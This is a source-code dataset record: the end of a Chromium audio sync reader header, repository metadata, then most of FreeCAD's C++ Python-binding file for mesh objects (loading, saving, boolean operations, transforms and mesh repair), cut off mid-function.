foreign_handle); #endif private: base::SharedMemory* shared_memory_; base::Time previous_call_time_; // Socket for transmitting audio data. scoped_ptr<base::CancelableSyncSocket> socket_; // Socket to be used by the renderer. The reference is released after // PrepareForeignSocketHandle() is called and ran successfully. scoped_ptr<base::CancelableSyncSocket> foreign_socket_; DISALLOW_COPY_AND_ASSIGN(AudioSyncReader); }; #endif // CONTENT_BROWSER_RENDERER_HOST_MEDIA_AUDIO_SYNC_READER_H_
[ "vgachkaylo@crystalnix.com" ]
vgachkaylo@crystalnix.com
b441afd11ad7f682edfab3ab179fe45d470ab4ba
fc4ec8267bc50bbc38da9894542fddfbf08a3ae4
/freecad-0.14.3702/src/Mod/Mesh/App/MeshPyImp.cpp
434e19f194262601a8b735af738652ae6b34526c
[]
no_license
AlexandreRivet/HomeMaker
c6252aa864780732dd675ab26e5474d84aa7e5f4
f483afea21c915e9208cb360046942a0fb26011c
refs/heads/master
2020-12-24T15:58:53.228813
2015-02-01T22:21:11
2015-02-01T22:21:11
29,052,719
1
1
null
null
null
null
UTF-8
C++
false
false
47,892
cpp
/*************************************************************************** * Copyright (c) 2007 Werner Mayer <wmayer[at]users.sourceforge.net> * * * * This file is part of the FreeCAD CAx development system. * * * * This library is free software; you can redistribute it and/or * * modify it under the terms of the GNU Library General Public * * License as published by the Free Software Foundation; either * * version 2 of the License, or (at your option) any later version. * * * * This library is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU Library General Public License for more details. * * * * You should have received a copy of the GNU Library General Public * * License along with this library; see the file COPYING.LIB. If not, * * write to the Free Software Foundation, Inc., 59 Temple Place, * * Suite 330, Boston, MA 02111-1307, USA * * * ***************************************************************************/ #include "PreCompiled.h" #include <Base/VectorPy.h> #include <Base/Handle.h> #include <Base/Builder3D.h> #include <Base/GeometryPyCXX.h> #include "Mesh.h" #include "MeshPy.h" #include "MeshPointPy.h" #include "FacetPy.h" #include "MeshPy.cpp" #include "MeshProperties.h" #include "Core/Algorithm.h" #include "Core/Triangulation.h" #include "Core/Iterator.h" #include "Core/Degeneration.h" #include "Core/Elements.h" #include "Core/Grid.h" #include "Core/MeshKernel.h" #include "Core/Segmentation.h" #include "Core/Curvature.h" using namespace Mesh; struct MeshPropertyLock { MeshPropertyLock(PropertyMeshKernel* p) : prop(p) { if (prop) prop->startEditing(); } ~MeshPropertyLock() { if (prop) prop->finishEditing(); } private: PropertyMeshKernel* prop; }; int MeshPy::PyInit(PyObject* args, PyObject*) { PyObject *pcObj=0; if (!PyArg_ParseTuple(args, "|O", &pcObj)) // convert args: Python->C return -1; // NULL triggers exception try { this->parentProperty = 0; // if no mesh is given if (!pcObj) return 0; if (PyObject_TypeCheck(pcObj, &(MeshPy::Type))) { getMeshObjectPtr()->operator = (*static_cast<MeshPy*>(pcObj)->getMeshObjectPtr()); } else if (PyList_Check(pcObj)) { PyObject* ret = addFacets(args); bool ok = (ret!=0); Py_XDECREF(ret); if (!ok) return -1; } else if (PyTuple_Check(pcObj)) { PyObject* ret = addFacets(args); bool ok = (ret!=0); Py_XDECREF(ret); if (!ok) return -1; } else if (PyString_Check(pcObj)) { getMeshObjectPtr()->load(PyString_AsString(pcObj)); } else { PyErr_Format(PyExc_TypeError, "Cannot create a mesh out of a '%s'", pcObj->ob_type->tp_name); return -1; } } catch (const Base::Exception &e) { PyErr_SetString(PyExc_Exception,e.what()); return -1; } catch (const std::exception &e) { PyErr_SetString(PyExc_Exception,e.what()); return -1; } catch (const Py::Exception&) { return -1; } return 0; } // returns a string which represent the object e.g. when printed in python std::string MeshPy::representation(void) const { // Note: As the return type is 'const char*' we cannot create a temporary char array neither on the stack because the array would be freed // when leaving the scope nor on the heap because we would have a memory leak. // So we use a static array that is used by all instances of this class. This, however, is not a problem as long as we only // use this method in _repr(). MeshPy::PointerType ptr = reinterpret_cast<MeshPy::PointerType>(_pcTwinPointer); return ptr->representation(); } PyObject *MeshPy::PyMake(struct _typeobject *, PyObject *, PyObject *) // Python wrapper { // create a new instance of MeshPy and the Twin object return new MeshPy(new MeshObject); } PyObject* MeshPy::copy(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; const MeshCore::MeshKernel& kernel = getMeshObjectPtr()->getKernel(); return new MeshPy(new MeshObject(kernel)); } PyObject* MeshPy::read(PyObject *args) { const char* Name; if (!PyArg_ParseTuple(args, "s",&Name)) return NULL; PY_TRY { getMeshObjectPtr()->load(Name); } PY_CATCH; Py_Return; } PyObject* MeshPy::write(PyObject *args) { const char* Name; char* Ext=0; char* ObjName=0; if (!PyArg_ParseTuple(args, "s|ss",&Name,&Ext,&ObjName)) return NULL; MeshCore::MeshIO::Format format = MeshCore::MeshIO::Undefined; if (Ext) { std::map<std::string, MeshCore::MeshIO::Format> ext; ext["BMS" ] = MeshCore::MeshIO::BMS; ext["STL" ] = MeshCore::MeshIO::BSTL; ext["AST" ] = MeshCore::MeshIO::ASTL; ext["OBJ" ] = MeshCore::MeshIO::OBJ; ext["OFF" ] = MeshCore::MeshIO::OFF; ext["IV" ] = MeshCore::MeshIO::IV; ext["X3D" ] = MeshCore::MeshIO::X3D; ext["VRML"] = MeshCore::MeshIO::VRML; ext["WRL" ] = MeshCore::MeshIO::VRML; ext["WRZ" ] = MeshCore::MeshIO::WRZ; ext["NAS" ] = MeshCore::MeshIO::NAS; ext["BDF" ] = MeshCore::MeshIO::NAS; ext["PLY" ] = MeshCore::MeshIO::PLY; ext["APLY"] = MeshCore::MeshIO::APLY; ext["PY" ] = MeshCore::MeshIO::PY; if (ext.find(Ext) != ext.end()) format = ext[Ext]; }; PY_TRY { getMeshObjectPtr()->save(Name, format, 0, ObjName); } PY_CATCH; Py_Return; } PyObject* MeshPy::writeInventor(PyObject *args) { float creaseangle=0.0f; if (!PyArg_ParseTuple(args, "|f",&creaseangle)) return NULL; MeshObject* mesh = getMeshObjectPtr(); const MeshCore::MeshFacetArray& faces = mesh->getKernel().GetFacets(); std::vector<int> indices; std::vector<Base::Vector3f> coords; coords.reserve(mesh->countPoints()); for (MeshObject::const_point_iterator it = mesh->points_begin(); it != mesh->points_end(); ++it) coords.push_back(Base::Vector3f((float)it->x,(float)it->y,(float)it->z)); indices.reserve(4*faces.size()); for (MeshCore::MeshFacetArray::_TConstIterator it = faces.begin(); it != faces.end(); ++it) { indices.push_back(it->_aulPoints[0]); indices.push_back(it->_aulPoints[1]); indices.push_back(it->_aulPoints[2]); indices.push_back(-1); } std::stringstream result; Base::InventorBuilder builder(result); builder.addIndexedFaceSet(coords, indices, creaseangle); builder.close(); return Py::new_reference_to(Py::String(result.str())); } PyObject* MeshPy::offset(PyObject *args) { float Float; if (!PyArg_ParseTuple(args, "f",&Float)) return NULL; PY_TRY { getMeshObjectPtr()->offsetSpecial2(Float); } PY_CATCH; Py_Return; } PyObject* MeshPy::offsetSpecial(PyObject *args) { float Float,zmin,zmax; if (!PyArg_ParseTuple(args, "fff",&Float,&zmin,&zmax)) return NULL; PY_TRY { getMeshObjectPtr()->offsetSpecial(Float,zmax,zmin); } PY_CATCH; Py_Return; } PyObject* MeshPy::crossSections(PyObject *args) { PyObject *obj; PyObject *poly=Py_False; float min_eps = 1.0e-2f; if (!PyArg_ParseTuple(args, "O|fO!", &obj, &min_eps, &PyBool_Type, &poly)) return 0; Py::Sequence list(obj); union PyType_Object pyType = {&(Base::VectorPy::Type)}; Py::Type vType(pyType.o); std::vector<MeshObject::TPlane> csPlanes; for (Py::Sequence::iterator it = list.begin(); it != list.end(); ++it) { Py::Tuple pair(*it); Py::Object p1 = pair.getItem(0); Py::Object p2 = pair.getItem(1); if (p1.isType(vType) && p2.isType(vType)) { MeshObject::TPlane plane; Base::Vector3d b = static_cast<Base::VectorPy*>(p1.ptr())->value(); Base::Vector3d n = static_cast<Base::VectorPy*>(p2.ptr())->value(); plane.first.Set((float)b.x,(float)b.y,(float)b.z); plane.second.Set((float)n.x,(float)n.y,(float)n.z); csPlanes.push_back(plane); } else if (p1.isTuple() && p2.isTuple()) { Py::Tuple b(p1); Py::Tuple n(p2); float bx = (float)Py::Float(b.getItem(0)); float by = (float)Py::Float(b.getItem(1)); float bz = (float)Py::Float(b.getItem(2)); float nx = (float)Py::Float(n.getItem(0)); float ny = (float)Py::Float(n.getItem(1)); float nz = (float)Py::Float(n.getItem(2)); MeshObject::TPlane plane; plane.first .Set(bx,by,bz); plane.second.Set(nx,ny,nz); csPlanes.push_back(plane); } } std::vector<MeshObject::TPolylines> sections; getMeshObjectPtr()->crossSections(csPlanes, sections, min_eps, PyObject_IsTrue(poly) ? true : false); // convert to Python objects Py::List crossSections; for (std::vector<MeshObject::TPolylines>::iterator it = sections.begin(); it != sections.end(); ++it) { Py::List section; for (MeshObject::TPolylines::const_iterator jt = it->begin(); jt != it->end(); ++jt) { Py::List polyline; for (std::vector<Base::Vector3f>::const_iterator kt = jt->begin(); kt != jt->end(); ++kt) { polyline.append(Py::Object(new Base::VectorPy(*kt))); } section.append(polyline); } crossSections.append(section); } return Py::new_reference_to(crossSections); } PyObject* MeshPy::unite(PyObject *args) { MeshPy *pcObject; PyObject *pcObj; if (!PyArg_ParseTuple(args, "O!", &(MeshPy::Type), &pcObj)) // convert args: Python->C return NULL; // NULL triggers exception pcObject = static_cast<MeshPy*>(pcObj); PY_TRY { MeshObject* mesh = getMeshObjectPtr()->unite(*pcObject->getMeshObjectPtr()); return new MeshPy(mesh); } PY_CATCH; Py_Return; } PyObject* MeshPy::intersect(PyObject *args) { MeshPy *pcObject; PyObject *pcObj; if (!PyArg_ParseTuple(args, "O!", &(MeshPy::Type), &pcObj)) // convert args: Python->C return NULL; // NULL triggers exception pcObject = static_cast<MeshPy*>(pcObj); PY_TRY { MeshObject* mesh = getMeshObjectPtr()->intersect(*pcObject->getMeshObjectPtr()); return new MeshPy(mesh); } PY_CATCH; Py_Return; } PyObject* MeshPy::difference(PyObject *args) { MeshPy *pcObject; PyObject *pcObj; if (!PyArg_ParseTuple(args, "O!", &(MeshPy::Type), &pcObj)) // convert args: Python->C return NULL; // NULL triggers exception pcObject = static_cast<MeshPy*>(pcObj); PY_TRY { MeshObject* mesh = getMeshObjectPtr()->subtract(*pcObject->getMeshObjectPtr()); return new MeshPy(mesh); } PY_CATCH; Py_Return; } PyObject* MeshPy::inner(PyObject *args) { MeshPy *pcObject; PyObject *pcObj; if (!PyArg_ParseTuple(args, "O!", &(MeshPy::Type), &pcObj)) // convert args: Python->C return NULL; // NULL triggers exception pcObject = static_cast<MeshPy*>(pcObj); PY_TRY { MeshObject* mesh = getMeshObjectPtr()->inner(*pcObject->getMeshObjectPtr()); return new MeshPy(mesh); } PY_CATCH; Py_Return; } PyObject* MeshPy::outer(PyObject *args) { MeshPy *pcObject; PyObject *pcObj; if (!PyArg_ParseTuple(args, "O!", &(MeshPy::Type), &pcObj)) // convert args: Python->C return NULL; // NULL triggers exception pcObject = static_cast<MeshPy*>(pcObj); PY_TRY { MeshObject* mesh = getMeshObjectPtr()->outer(*pcObject->getMeshObjectPtr()); return new MeshPy(mesh); } PY_CATCH; Py_Return; } PyObject* MeshPy::coarsen(PyObject *args) { PyErr_SetString(PyExc_NotImplementedError, "Not yet implemented"); return 0; } PyObject* MeshPy::translate(PyObject *args) { float x,y,z; if (!PyArg_ParseTuple(args, "fff",&x,&y,&z)) return NULL; PY_TRY { Base::Matrix4D m; m.move(x,y,z); getMeshObjectPtr()->getKernel().Transform(m); } PY_CATCH; Py_Return; } PyObject* MeshPy::rotate(PyObject *args) { double x,y,z; if (!PyArg_ParseTuple(args, "ddd",&x,&y,&z)) return NULL; PY_TRY { Base::Matrix4D m; m.rotX(x); m.rotY(y); m.rotZ(z); getMeshObjectPtr()->getKernel().Transform(m); } PY_CATCH; Py_Return; } PyObject* MeshPy::transform(PyObject *args) { PyObject *mat; if (!PyArg_ParseTuple(args, "O!",&(Base::MatrixPy::Type), &mat)) return NULL; PY_TRY { getMeshObjectPtr()->getKernel().Transform(static_cast<Base::MatrixPy*>(mat)->value()); } PY_CATCH; Py_Return; } PyObject* MeshPy::transformToEigen(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; getMeshObjectPtr()->transformToEigenSystem(); Py_Return; } PyObject* MeshPy::addFacet(PyObject *args) { double x1,y1,z1,x2,y2,z2,x3,y3,z3; if (PyArg_ParseTuple(args, "ddddddddd",&x1,&y1,&z1,&x2,&y2,&z2,&x3,&y3,&z3)) { getMeshObjectPtr()->addFacet(MeshCore::MeshGeomFacet( Base::Vector3f((float)x1,(float)y1,(float)z1), Base::Vector3f((float)x2,(float)y2,(float)z2), Base::Vector3f((float)x3,(float)y3,(float)z3))); Py_Return; } PyErr_Clear(); PyObject *v1, *v2, *v3; if (PyArg_ParseTuple(args, "O!O!O!",&(Base::VectorPy::Type), &v1, &(Base::VectorPy::Type), &v2, &(Base::VectorPy::Type), &v3)) { Base::Vector3d *p1 = static_cast<Base::VectorPy*>(v1)->getVectorPtr(); Base::Vector3d *p2 = static_cast<Base::VectorPy*>(v2)->getVectorPtr(); Base::Vector3d *p3 = static_cast<Base::VectorPy*>(v3)->getVectorPtr(); getMeshObjectPtr()->addFacet(MeshCore::MeshGeomFacet( Base::Vector3f((float)p1->x,(float)p1->y,(float)p1->z), Base::Vector3f((float)p2->x,(float)p2->y,(float)p2->z), Base::Vector3f((float)p3->x,(float)p3->y,(float)p3->z))); Py_Return; } PyErr_SetString(PyExc_Exception, "set 9 floats or three vectors"); return 0; } PyObject* MeshPy::addFacets(PyObject *args) { PyObject *list; if (PyArg_ParseTuple(args, "O!", &PyList_Type, &list)) { Py::List list_f(list); union PyType_Object pyVType = {&(Base::VectorPy::Type)}; Py::Type vVType(pyVType.o); union PyType_Object pyFType = {&(Mesh::FacetPy::Type)}; Py::Type vFType(pyFType.o); std::vector<MeshCore::MeshGeomFacet> facets; MeshCore::MeshGeomFacet facet; for (Py::List::iterator it = list_f.begin(); it != list_f.end(); ++it) { if ((*it).isType(vFType)) { Mesh::FacetPy* face = static_cast<Mesh::FacetPy*>((*it).ptr()); facets.push_back(*face->getFacetPtr()); } else if ((*it).isSequence()) { Py::Sequence seq(*it); if (seq.size() == 3) { if (PyFloat_Check(seq[0].ptr())) { // every three triples build a triangle facet._aclPoints[0] = Base::getVectorFromTuple<float>((*it).ptr()); ++it; facet._aclPoints[1] = Base::getVectorFromTuple<float>((*it).ptr()); ++it; facet._aclPoints[2] = Base::getVectorFromTuple<float>((*it).ptr()); } else if (seq[0].isSequence()) { // a sequence of sequence of flots for (int i=0; i<3; i++) { facet._aclPoints[i] = Base::getVectorFromTuple<float>(seq[i].ptr()); } } else if (PyObject_TypeCheck(seq[0].ptr(), &(Base::VectorPy::Type))) { // a sequence of vectors for (int i=0; i<3; i++) { Base::Vector3d p = Py::Vector(seq[i]).toVector(); facet._aclPoints[i].Set((float)p.x,(float)p.y,(float)p.z); } } else { PyErr_SetString(PyExc_Exception, "expect a sequence of floats or Vector"); return NULL; } facet.CalcNormal(); facets.push_back(facet); } else { // 9 consecutive floats expected int index=0; for (int i=0; i<3; i++) { facet._aclPoints[i].x = (float)(double)Py::Float(seq[index++]); facet._aclPoints[i].y = (float)(double)Py::Float(seq[index++]); facet._aclPoints[i].z = (float)(double)Py::Float(seq[index++]); } facet.CalcNormal(); facets.push_back(facet); } } // sequence } getMeshObjectPtr()->addFacets(facets); Py_Return; } PyErr_Clear(); if (PyArg_ParseTuple(args, "O!", &PyTuple_Type, &list)) { Py::Tuple tuple(list); Py::List list_v(tuple.getItem(0)); std::vector<Base::Vector3f> vertices; union PyType_Object pyVertType = {&(Base::VectorPy::Type)}; Py::Type vType(pyVertType.o); for (Py::List::iterator it = list_v.begin(); it != list_v.end(); ++it) { if ((*it).isType(vType)) { Base::Vector3d v = static_cast<Base::VectorPy*>((*it).ptr())->value(); vertices.push_back(Base::Vector3f((float)v.x,(float)v.y,(float)v.z)); } } Py::List list_f(tuple.getItem(1)); MeshCore::MeshFacetArray faces; for (Py::List::iterator it = list_f.begin(); it != list_f.end(); ++it) { Py::Tuple f(*it); MeshCore::MeshFacet face; face._aulPoints[0] = (long)Py::Int(f.getItem(0)); face._aulPoints[1] = (long)Py::Int(f.getItem(1)); face._aulPoints[2] = (long)Py::Int(f.getItem(2)); faces.push_back(face); } getMeshObjectPtr()->addFacets(faces, vertices); Py_Return; } PyErr_SetString(PyExc_Exception, "either expect\n" "-- [Vector] (3 of them define a facet)\n" "-- ([Vector],[(int,int,int)])"); return NULL; } PyObject* MeshPy::removeFacets(PyObject *args) { PyObject* list; if (!PyArg_ParseTuple(args, "O", &list)) return 0; std::vector<unsigned long> indices; Py::Sequence ary(list); for (Py::Sequence::iterator it = ary.begin(); it != ary.end(); ++it) { Py::Int f(*it); indices.push_back((long)f); } getMeshObjectPtr()->deleteFacets(indices); Py_Return; } PyObject* MeshPy::getInternalFacets(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return 0; const MeshCore::MeshKernel& kernel = getMeshObjectPtr()->getKernel(); MeshCore::MeshEvalInternalFacets eval(kernel); eval.Evaluate(); const std::vector<unsigned long>& indices = eval.GetIndices(); Py::List ary(indices.size()); Py::List::size_type pos=0; for (std::vector<unsigned long>::const_iterator it = indices.begin(); it != indices.end(); ++it) { ary[pos++] = Py::Long(*it); } return Py::new_reference_to(ary); } PyObject* MeshPy::rebuildNeighbourHood(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return 0; MeshCore::MeshKernel& kernel = getMeshObjectPtr()->getKernel(); kernel.RebuildNeighbours(); Py_Return; } PyObject* MeshPy::addMesh(PyObject *args) { PyObject* mesh; if (!PyArg_ParseTuple(args, "O!",&(MeshPy::Type), &mesh)) return NULL; PY_TRY { getMeshObjectPtr()->addMesh(*static_cast<MeshPy*>(mesh)->getMeshObjectPtr()); } PY_CATCH; Py_Return; } PyObject* MeshPy::setPoint(PyObject *args) { unsigned long index; PyObject* pnt; if (!PyArg_ParseTuple(args, "kO!",&index, &(Base::VectorPy::Type), &pnt)) return NULL; PY_TRY { getMeshObjectPtr()->setPoint(index, static_cast<Base::VectorPy*>(pnt)->value()); } PY_CATCH; Py_Return; } PyObject* MeshPy::countSegments(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return 0; unsigned long count = getMeshObjectPtr()->countSegments(); return Py_BuildValue("k",count); } PyObject* MeshPy::getSegment(PyObject *args) { unsigned long index; if (!PyArg_ParseTuple(args, "k", &index)) return 0; unsigned long count = getMeshObjectPtr()->countSegments(); if (index >= count) { PyErr_SetString(PyExc_IndexError, "index out of range"); return 0; } Py::List ary; const std::vector<unsigned long>& segm = getMeshObjectPtr()->getSegment(index).getIndices(); for (std::vector<unsigned long>::const_iterator it = segm.begin(); it != segm.end(); ++it) { ary.append(Py::Int((int)*it)); } return Py::new_reference_to(ary); } PyObject* MeshPy::getSeparateComponents(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; Py::List meshesList; std::vector<std::vector<unsigned long> > segs; segs = getMeshObjectPtr()->getComponents(); for (unsigned int i=0; i<segs.size(); i++) { MeshObject* mesh = getMeshObjectPtr()->meshFromSegment(segs[i]); meshesList.append(Py::Object(new MeshPy(mesh),true)); } return Py::new_reference_to(meshesList); } PyObject* MeshPy::getFacetSelection(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return 0; Py::List ary; std::vector<unsigned long> facets; getMeshObjectPtr()->getFacetsFromSelection(facets); for (std::vector<unsigned long>::const_iterator it = facets.begin(); it != facets.end(); ++it) { ary.append(Py::Int((int)*it)); } return Py::new_reference_to(ary); } PyObject* MeshPy::getPointSelection(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return 0; Py::List ary; std::vector<unsigned long> points; getMeshObjectPtr()->getPointsFromSelection(points); for (std::vector<unsigned long>::const_iterator it = points.begin(); it != points.end(); ++it) { ary.append(Py::Int((int)*it)); } return Py::new_reference_to(ary); } PyObject* MeshPy::meshFromSegment(PyObject *args) { PyObject* list; if (!PyArg_ParseTuple(args, "O", &list)) return 0; std::vector<unsigned long> segment; Py::Sequence ary(list); for (Py::Sequence::iterator it = ary.begin(); it != ary.end(); ++it) { Py::Int f(*it); segment.push_back((long)f); } MeshObject* mesh = getMeshObjectPtr()->meshFromSegment(segment); return new MeshPy(mesh); } PyObject* MeshPy::clear(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; getMeshObjectPtr()->clear(); Py_Return; } PyObject* MeshPy::isSolid(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; bool ok = getMeshObjectPtr()->isSolid(); return Py_BuildValue("O", (ok ? Py_True : Py_False)); } PyObject* MeshPy::hasNonManifolds(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; bool ok = getMeshObjectPtr()->hasNonManifolds(); return Py_BuildValue("O", (ok ? Py_True : Py_False)); } PyObject* MeshPy::removeNonManifolds(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; getMeshObjectPtr()->removeNonManifolds(); Py_Return } PyObject* MeshPy::hasSelfIntersections(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; bool ok = getMeshObjectPtr()->hasSelfIntersections(); return Py_BuildValue("O", (ok ? Py_True : Py_False)); } PyObject* MeshPy::fixSelfIntersections(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; try { getMeshObjectPtr()->removeSelfIntersections(); } catch (const Base::Exception& e) { PyErr_SetString(PyExc_Exception, e.what()); return NULL; } Py_Return; } PyObject* MeshPy::removeFoldsOnSurface(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; try { getMeshObjectPtr()->removeFoldsOnSurface(); } catch (const Base::Exception& e) { PyErr_SetString(PyExc_Exception, e.what()); return NULL; } Py_Return; } PyObject* MeshPy::flipNormals(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; PY_TRY { MeshPropertyLock lock(this->parentProperty); getMeshObjectPtr()->flipNormals(); } PY_CATCH; Py_Return; } PyObject* MeshPy::hasNonUniformOrientedFacets(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; bool ok = getMeshObjectPtr()->countNonUniformOrientedFacets() > 0; return Py_BuildValue("O", (ok ? Py_True : Py_False)); } PyObject* MeshPy::countNonUniformOrientedFacets(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; unsigned long count = getMeshObjectPtr()->countNonUniformOrientedFacets(); return Py_BuildValue("k", count); } PyObject* MeshPy::harmonizeNormals(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; PY_TRY { MeshPropertyLock lock(this->parentProperty); getMeshObjectPtr()->harmonizeNormals(); } PY_CATCH; Py_Return; } PyObject* MeshPy::countComponents(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; unsigned long count = getMeshObjectPtr()->countComponents(); return Py_BuildValue("k",count); } PyObject* MeshPy::removeComponents(PyObject *args) { unsigned long count; if (!PyArg_ParseTuple(args, "k", &count)) return NULL; PY_TRY { if (count > 0) { getMeshObjectPtr()->removeComponents(count); } } PY_CATCH; Py_Return; } PyObject* MeshPy::fillupHoles(PyObject *args) { unsigned long len; int level = 0; float max_area = 0.0f; if (!PyArg_ParseTuple(args, "k|if", &len,&level,&max_area)) return NULL; try { std::auto_ptr<MeshCore::AbstractPolygonTriangulator> tria; if (max_area > 0.0f) { tria = std::auto_ptr<MeshCore::AbstractPolygonTriangulator> (new MeshCore::ConstraintDelaunayTriangulator(max_area)); } else { tria = std::auto_ptr<MeshCore::AbstractPolygonTriangulator> (new MeshCore::FlatTriangulator()); } MeshPropertyLock lock(this->parentProperty); getMeshObjectPtr()->fillupHoles(len, level, *tria); } catch (const Base::Exception& e) { PyErr_SetString(PyExc_Exception, e.what()); return NULL; } Py_Return; } PyObject* MeshPy::fixIndices(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; PY_TRY { getMeshObjectPtr()->validateIndices(); } PY_CATCH; Py_Return; } PyObject* MeshPy::fixDeformations(PyObject *args) { float fMaxAngle; if (!PyArg_ParseTuple(args, "f", &fMaxAngle)) return NULL; PY_TRY { getMeshObjectPtr()->validateDeformations(fMaxAngle); } PY_CATCH; Py_Return; } PyObject* MeshPy::fixDegenerations(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; PY_TRY { getMeshObjectPtr()->validateDegenerations(); } PY_CATCH; Py_Return; } PyObject* MeshPy::removeDuplicatedPoints(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; PY_TRY { getMeshObjectPtr()->removeDuplicatedPoints(); } PY_CATCH; Py_Return; } PyObject* MeshPy::removeDuplicatedFacets(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; PY_TRY { getMeshObjectPtr()->removeDuplicatedFacets(); } PY_CATCH; Py_Return; } PyObject* MeshPy::refine(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; PY_TRY { getMeshObjectPtr()->refine(); } PY_CATCH; Py_Return; } PyObject* MeshPy::optimizeTopology(PyObject *args) { float fMaxAngle=-1.0f; if (!PyArg_ParseTuple(args, "|f; specify the maximum allowed angle between the normals of two adjacent facets", &fMaxAngle)) return NULL; PY_TRY { MeshPropertyLock lock(this->parentProperty); getMeshObjectPtr()->optimizeTopology(fMaxAngle); } PY_CATCH; Py_Return; } PyObject* MeshPy::optimizeEdges(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; PY_TRY { MeshPropertyLock lock(this->parentProperty); getMeshObjectPtr()->optimizeEdges(); } PY_CATCH; Py_Return; } PyObject* MeshPy::splitEdges(PyObject *args) { if (!PyArg_ParseTuple(args, "")) return NULL; PY_TRY { getMeshObjectPtr()->splitEdges(); } PY_CATCH; Py_Return; } PyObject* MeshPy::splitEdge(PyObject *args) { unsigned long facet, neighbour; PyObject* vertex; if (!PyArg_ParseTuple(args, "kkO!", &facet, &neighbour, &Base::VectorPy::Type, &vertex)) return NULL; Base::VectorPy *pcObject = static_cast<Base::VectorPy*>(vertex); Base::Vector3d* val = pcObject->getVectorPtr(); Base::Vector3f v((float)val->x,(float)val->y,(float)val->z); const MeshCore::MeshKernel& kernel = getMeshObjectPtr()->getKernel(); PY_TRY { if (facet >= kernel.CountFacets()) { PyErr_SetString(PyExc_IndexError, "Facet index out of range"); return NULL; } if (neighbour >= kernel.CountFacets()) { PyErr_SetString(PyExc_IndexError, "Facet index out of range"); return NULL; } const MeshCore::MeshFacet& rclF = kernel.GetFacets()[facet]; if (rclF._aulNeighbours[0] != neighbour && rclF._aulNeighbours[1] != neighbour && rclF._aulNeighbours[2] != neighbour) { PyErr_SetString(PyExc_IndexError, "No adjacent facets"); return NULL; } getMeshObjectPtr()->splitEdge(facet, neighbour, v); } PY_CATCH; Py_Return; } PyObject* MeshPy::splitFacet(PyObject *args) { unsigned long facet; PyObject* vertex1; PyObject* vertex2; if (!PyArg_ParseTuple(args, "kO!O!", &facet, &Base::VectorPy::Type, &vertex1, &Base::VectorPy::Type, &vertex2)) return NULL; Base::VectorPy *pcObject = static_cast<Base::VectorPy*>(vertex1); Base::Vector3d* val = pcObject->getVectorPtr(); Base::Vector3f v1((float)val->x,(float)val->y,(float)val->z); pcObject = static_cast<Base::VectorPy*>(vertex2); val = pcObject->getVectorPtr(); Base::Vector3f v2((float)val->x,(float)val->y,(float)val->z); const MeshCore::MeshKernel& kernel = getMeshObjectPtr()->getKernel(); PY_TRY { if (facet >= kernel.CountFacets()) { PyErr_SetString(PyExc_IndexError, "Facet index out of range"); return NULL; } getMeshObjectPtr()->splitFacet(facet, v1, v2); } PY_CATCH; Py_Return; } PyObject* MeshPy::swapEdge(PyObject *args) { unsigned long facet, neighbour; if (!PyArg_ParseTuple(args, "kk", &facet, &neighbour)) return NULL; const MeshCore::MeshKernel& kernel = getMeshObjectPtr()->getKernel(); PY_TRY { if (facet >= kernel.CountFacets()) { PyErr_SetString(PyExc_IndexError, "Facet index out of range"); return NULL; } if (neighbour >= kernel.CountFacets()) { PyErr_SetString(PyExc_IndexError, "Facet index out of range"); return NULL; } const MeshCore::MeshFacet& rclF = kernel.GetFacets()[facet]; if (rclF._aulNeighbours[0] != neighbour && rclF._aulNeighbours[1] != neighbour && rclF._aulNeighbours[2] != neighbour) { PyErr_SetString(PyExc_IndexError, "No adjacent facets"); return NULL; } getMeshObjectPtr()->swapEdge(facet, neighbour); } PY_CATCH; Py_Return; } PyObject* MeshPy::collapseEdge(PyObject *args) { unsigned long facet, neighbour; if (!PyArg_ParseTuple(args, "kk", &facet, &neighbour)) return NULL; const MeshCore::MeshKernel& kernel = getMeshObjectPtr()->getKernel(); PY_TRY { if (facet >= kernel.CountFacets()) { PyErr_SetString(PyExc_IndexError, "Facet index out of range"); return NULL; } if (neighbour >= kernel.CountFacets()) { PyErr_SetString(PyExc_IndexError, "Facet index out of range"); return NULL; } const MeshCore::MeshFacet& rclF = kernel.GetFacets()[facet]; if (rclF._aulNeighbours[0] != neighbour && rclF._aulNeighbours[1] != neighbour && rclF._aulNeighbours[2] != neighbour) { PyErr_SetString(PyExc_IndexError, "No adjacent facets"); return NULL; } getMeshObjectPtr()->collapseEdge(facet, neighbour); } PY_CATCH; Py_Return; } PyObject* MeshPy::collapseFacet(PyObject *args) { unsigned long facet; if (!PyArg_ParseTuple(args, "k", &facet)) return NULL; PY_TRY { if (facet >= getMeshObjectPtr()->countFacets()) { PyErr_SetString(PyExc_IndexError, "Facet index out of range"); return NULL; } getMeshObjectPtr()->collapseFacet(facet); } PY_CATCH; Py_Return; } PyObject* MeshPy::insertVertex(PyObject *args) { unsigned long facet; PyObject* vertex; if (!PyArg_ParseTuple(args, "kO!", &facet, &Base::VectorPy::Type, 